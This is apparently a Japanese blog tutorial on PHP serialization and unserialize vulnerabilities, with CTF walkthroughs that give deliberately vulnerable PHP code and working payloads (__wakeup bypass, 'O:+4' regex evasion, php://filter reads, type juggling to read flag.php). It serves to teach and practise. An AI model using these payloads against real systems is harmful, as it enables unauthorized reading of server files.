事情の発端#
最近、衝動的に高性能なデスクトップを購入し、メモリを 32G に増設した後、社内ネットワークのプロキシに関する記事を書こうという衝動が湧いてきましたが、少し落ち着いています。
タイトルの通り、最近は不足している知識を補うために、ずっと聞いていたが再現したことのない脆弱性を学んでいます。これから大量に SRC を刷り始める準備をしています。
もし SRC を大量に刷るための良い方法があれば、私も共有します。
この記事では、php の逆シリアル化から始めて、シリアル化、逆シリアル化、逆シリアル化脆弱性の概念といくつかの例を簡単に紹介します。
環境構築#
まず、エディタは引き続きvsc
(visual studio code) を推奨します。
次に、php
環境が必要です。ここでは、さまざまな統合環境をそのまま使用します。wampp
やxampp
でも大丈夫です。
私が使用しているのはphpstudy proで、デフォルトでphp7
のバージョンがインストールされています。
インストールが完了したら、vsc
を再起動し、phpstudy
のウェブサイトのルートディレクトリに新しくindex.php
ファイルを作成して保存します。
vsc
は自動的にシステムに登録されたphp
のパスを見つけてくれます。ファイル内でshift + alt + f
を押してコードを迅速にフォーマットすると、php
フォーマッターツールがインストールされていないというメッセージが表示されますので、最初のものをインストールしてください。
Apache
を起動し、適当に以下のコードを書きます。
<?php echo "hellow world!";
ブラウザで127.0.0.1
にアクセスすれば、あなたは今php
環境を持っています。
概念学習#
シリアル化とは何ですか?
php プログラムはオブジェクトを保存およびダンプするためのシリアル化メソッドを提供します。php のシリアル化は、プログラムの実行中にオブジェクトをダンプするために生成されます。シリアル化はオブジェクトを文字列に変換できますが、オブジェクト内のメンバー変数のみを保持し、関数メソッドは保持しません。
シリアル化と逆シリアル化を一言でまとめると:シリアル化はオブジェクトを文字列に変換し、逆シリアル化は文字列をオブジェクトに変換します。
以下に簡単に説明します。まず、新しいコードを作成します。
<?php
class Student
{
public $name = "studentone";
function getName()
{
return "soapffz";
}
function __construct()
{
echo "__construct";
echo "</br>";
}
}
$s = new Student();
echo $s->getName() . "</br>";
これはクラスのメソッドを正常に呼び出す例です:
では、シリアル化とは何を意味するのでしょうか?最後にコードを追加します。
//serialize functionはオブジェクトを文字列に変換します
$s_serilize = serialize($s);
print_r($s_serilize);
出力は:O:7:"Student":1:{s:4:"name";s:10:"studentone";}
このシリアル化後に得られた文字列の説明は以下の通りです:
- O:これはオブジェクトタイプです
- 7;このオブジェクト名の長さは 7 です
- Student:オブジェクト名
- 1:このオブジェクトには 1 対のキーと値があります
- s:このキーのタイプは文字列です
- 4:このキー名の長さは 4 です
- name:キー名
残りは順に推測できます。もちろん、私の解釈は正確でないかもしれませんので、公式の説明を確認することをお勧めします。
これがシリアル化のプロセスです。このオブジェクトのすべてのタイプと含まれる内容を単純なフォーマットされた文字列データに変換しました。
逆シリアル化のプロセスを見てみましょう:
<?php
$Student = 'O:7:"Student":1:{s:4:"name";s:10:"studentone";}';
$s_unserilize = unserialize($Student);
print_r($s_unserilize);
echo "</br>";
出力は;Student Object ( [name] => studentone )
これが逆シリアル化のプロセスです。標準のタイプとデータを含む文字列をオブジェクトに逆シリアル化しました。
オブジェクトでよく使われるマジックメソッドは以下の通りです:
-
__construct:オブジェクトを作成する際に初期化します。一般的に変数に初期値を設定するために使用されます。
-
__destruct:コンストラクタの逆で、オブジェクトが存在する関数が終了した後に実行されます。
-
__toString:オブジェクトが文字列として使用されるときに呼び出されます。
-
__sleep: オブジェクトをシリアル化する前にこのメソッドが呼び出されます(戻り値は配列が必要です)。
-
__wakeup: 逆シリアル化してオブジェクトを復元する前にこのメソッドが呼び出されます。
-
__call: オブジェクト内に存在しないメソッドが呼び出されると自動的にこのメソッドが呼び出されます。
-
__get: プライベートプロパティが呼び出されると自動的に実行されます。
-
isset () はアクセスできないプロパティで isset () または empty () を呼び出すとunset () はアクセスできないプロパティで unset () を使用するとトリガーされます。
この文字列は必ず前後が一対一で対応している必要があります。
例えば、前のオブジェクト部分でこのオブジェクトには 1 対のキーと値があると示されているのに、後で 2 対のキーと値を書いた場合、正常に逆シリアル化を完了することはできません。これが後の逆シリアル化脆弱性で__wakeup () 関数を回避する鍵です。
__wakeup () 関数の脆弱性#
上記ではシリアル化と逆シリアル化の基本概念を紹介しました。次に、php
逆シリアル化脆弱性の核心を例を使って紹介します(今のところこの関数にしか触れていません)。
<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup() {
echo "__wakeup is invoked";
}
}
$s = new Student();
var_dump(serialize($s));
-
最後のページに出力されるのは Student オブジェクトのシリアル化出力です:
-
O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}
-
その中で Stuedent クラスの後にある数字 3 は、Student クラスに 3 つのプロパティが存在することを示しています。
-
wakeup () 脆弱性は、全体のプロパティの数値に関連しています。シリアル化された文字列がオブジェクトのプロパティの数を示す値が実際のプロパティの数を超えると、wakeup の実行がスキップされます。
-
上記のシリアル化された文字列のオブジェクトのプロパティの数を 5 に変更すると、次のようになります。
-
O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}
-
最後に実行されるコードは以下の通りです:
<?php
class Student
{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup()
{
echo "__wakeup is invoked";
}
function __destruct()
{
var_dump($this);
}
}
$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');
echo $stu;
ctf 例 1#
攻防世界から -> web 高手進階区 -> Web_php_unserialize
ウェブページに表示されるソースコードは以下の通りです:
<?php
class Demo
{
private $file = 'index.php';
public function __construct($file)
{
$this->file = $file;
}
function __destruct()
{
echo @highlight_file($this->file, true);
}
function __wakeup()
{
if ($this->file != 'index.php') {
//秘密はfl4g.phpにあります
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('hackingを停止してください!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
コードの説明:
-
このコードは、上記の簡単な例と大きく変わらないクラスの関数を生成します:
-
__construct ()、作成時に自動的に呼び出され、得られたパラメータで $file を上書きします。
-
__destruct ()、破棄時に呼び出され、ファイルのコードを表示します。ここでは fl4g.php を表示します。
-
__wakeup ()、逆シリアル化時に呼び出され、$file を index.php にリセットします。
-
Demo クラスには 3 つのメソッドがあります。1 つはコンストラクタ、1 つはデストラクタ、もう 1 つはマジックメソッドです。コンストラクタconstruct () はプログラムの実行開始時に変数に初期値を設定します。デストラクタdestruct () はオブジェクトが存在する関数が実行完了後に自動的に呼び出され、ここでファイルをハイライト表示します。
-
Demo クラスをシリアル化し、base64 でエンコードして var 変数に代入し、GET パラメータとして渡すだけです。
-
もしクラスが wakeup () と destruct () を定義している場合、そのクラスのインスタンスが逆シリアル化されると、自動的に wakeup () が呼び出され、ライフサイクルが終了すると destruct () が呼び出されます。
-
PHP5 < 5.6.25、PHP7 < 7.0.10 のバージョンには wakeup の脆弱性があります。逆シリアル化中にオブジェクトの数が以前の数と異なる場合、wakeup は回避されます。
-
正規表現マッチングは + 記号を使って回避できます。つまり O:4 を O:+4 にすれば回避できます。
-
isset () 関数は変数が設定されていて NULL でないかどうかを検出するために使用されます。
-
すでに unset () で変数を解放した後、isset () で判断すると FALSE が返されます。
-
NULL 文字("\0")は PHP の NULL 定数とは異なることに注意してください。
-
PHP バージョンの要件:PHP 4、PHP 5、PHP 7
ソースコードの後に呼び出しコードを追加します:
$a = new Demo("fl4g.php");
$a = serialize($a);
echo $a;
//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
$a = str_replace('O:4', 'O:+4', $a);
$a = str_replace('1:{', '2:{', $a);
echo $a;
//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
echo base64_encode($a);
//TzorNDoiOiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
ここで注意すべき点は、コードの 4 行目でfile
変数がprivate
のため、シリアル化された後の文字列の先頭と末尾に空白文字(つまり %00)があるため、文字列の長さも実際の長さより 2 大きくなります。シリアル化結果をオンラインのbase64
サイトにコピーしてエンコードすると、空白文字が失われる可能性があるため、ここでは直接php
コード内でエンコードします。似たようなことがprotected
型の変数にも当てはまり、シリアル化された後の文字列の先頭に%00*%00
が追加されます。
最後に直接あなたのターゲットアドレスにアクセスします/index.php?var=TzorNDoiOiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
これでflag
を得ることができます。
ctf 例 2#
攻防世界から -> web 高手進階区 -> unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
ウェブサイトを開くと、このようなコードがあり、__wakeup
関数を回避する必要があります。結果?code=
のヒントがあり、シリアル化された後の値をcode
に渡す必要があります。
まず、xctf
クラスをインスタンス化し、それをシリアル化します(ここではxctf
クラスをオブジェクトtest
としてインスタンス化します)。
<?php
class xctf
{ //xctfという名前のクラスを定義
public $flag = '111'; //公開のクラスプロパティ$flagを定義し、値を111に設定
public function __wakeup()
{ //公開のクラスメソッド__wakeup()を定義し、bad requestsを出力してスクリプトを終了
exit('bad requests');
}
}
$test = new xctf(); //new演算子を使用してxctfクラスのオブジェクトをtestとしてインスタンス化
echo (serialize($test)); //シリアル化されたオブジェクト(test)を出力
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
-
私たちは xctf クラスを逆シリアル化する際に、wakeup メソッドの実行を回避する必要があります(wakeup () メソッドを回避しないと、bad requests が出力され、スクリプトが終了します)。wakeup () 関数の脆弱性の原理:シリアル化された文字列がオブジェクトのプロパティの数を示す値が実際のプロパティの数を超えると、wakeup の実行がスキップされます。したがって、シリアル化された文字列のプロパティの数を変更する必要があります。
-
上記のシリアル化された文字列のオブジェクトのプロパティの数を実際の値 1 から 2 に変更すると、次のようになります。
-
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
-
URL にアクセスします:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
-
これで flag を得ることができます。
ctf 例 3#
2020 年網鼎杯青龍組WEB
問題AreUSerialz
から、ctfhub 靶場で検索できます。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler
{
protected $op;
protected $filename;
protected $content;
function __construct()
{
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process()
{
if ($this->op == "1") {
$this->write();
} else if ($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write()
{
if (isset($this->filename) && isset($this->content)) {
if (strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if ($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read()
{
$res = "";
if (isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s)
{
echo "[Result]: <br>";
echo $s;
}
function __destruct()
{
if ($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s)
{
for ($i = 0; $i < strlen($s); $i++)
if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if (isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if (is_valid($str)) {
$obj = unserialize($str);
}
}
最後に実行される部分のコードを見てみましょう:
if (isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if (is_valid($str)) {
$obj = unserialize($str);
}
}
GET
型のパラメータstr
があり、is_valid()
メソッドで判断され、条件を満たす場合に文字列化されたstr
が逆シリアル化されます。次に、is_valid()
を見てみましょう。
function is_valid($s)
{
for ($i = 0; $i < strlen($s); $i++)
if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
渡されたパラメータの各文字のascii
コードを判断し、[32,125] の範囲にあるかどうかを確認します。可視文字でない場合はfalse
を返します。逆シリアル化操作は行われません。次に、__destruct
デストラクタメソッドを見てみましょう。
function __destruct()
{
if ($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
もし op==="2" であれば、"1" に設定され、同時にcontent
が空になります。process
関数に入ります。
ここで注意すべき点は、op と "2" を比較する際に強い型比較が行われることです。
-
=== 強い型比較では、比較の際に 2 つの文字列の型が等しいかどうかを判断し、その後に比較が行われます。
-
== 弱い型比較では、比較の際に文字列が同じ型に変換され、その後に比較が行われます(比較に数値内容の文字列が含まれる場合、文字列は数値に変換され、変換後の数値に基づいて比較が行われます)。
public function process()
{
if ($this->op == "1") {
$this->write();
} else if ($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
process
関数に入ると、もし op=="1" であればwrite
関数に入ります。もし op=="2" であればread
関数に入ります。そうでなければエラーが出力されます。ここで op と文字列の比較が弱い型比較 == に変わります。
したがって、op=2 に設定すれば、ここでの 2 は整数int
です。op=2 のとき、op==="2" はfalse
になり、op=="2" は true になります。次にread
関数に入ります。
private function read()
{
$res = "";
if (isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
filename
は私たちが制御できるもので、次にfile_get_contents
関数を使用してファイルを読み取ります。この場合、直接flag.php
を読み取ることができます。時にはphp
の擬似プロトコルも考慮されることがありますが、もしphp
の擬似プロトコルに遭遇した場合、単にその後のflag.php
を次のように変更すれば良いです。
php://filter/read=convert.base64-encode/resource=flag.php
この問題では擬似プロトコルは考慮されていませんが、ファイルを取得した後、output
関数を使用して出力します。
全体の利用の流れは非常に明確です。また、注意すべき点は、$op、$filename、$content の 3 つの変数の権限がすべて protected であるため、protected
権限の変数はシリアル化時に%00*%00
文字が追加されます。%00
文字のASCII
コードは 0 であり、これにより上記のis_valid
関数で検証されなくなります。
まず、シリアル化された文字列を生成しましょう。$filename
を読みたいファイルに変更します:
<?php
class FileHandler
{
protected $op=2;
protected $filename="flag.php";
protected $content="";
}
$ff=new FileHandler();
echo serialize($ff);
生成された結果は以下の通りです:
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";s:0:"";}
注意すべき点は、protected
型のメンバー変数がシリアル化されると%00
が生成され、false
になります。php7
ではクラスの属性に敏感ではないため、public
型に変更すれば問題ありません。
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
これでパラメータを渡すことができます:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
右クリックしてウェブページのソースコードを表示すればflag
が得られます。
参考記事: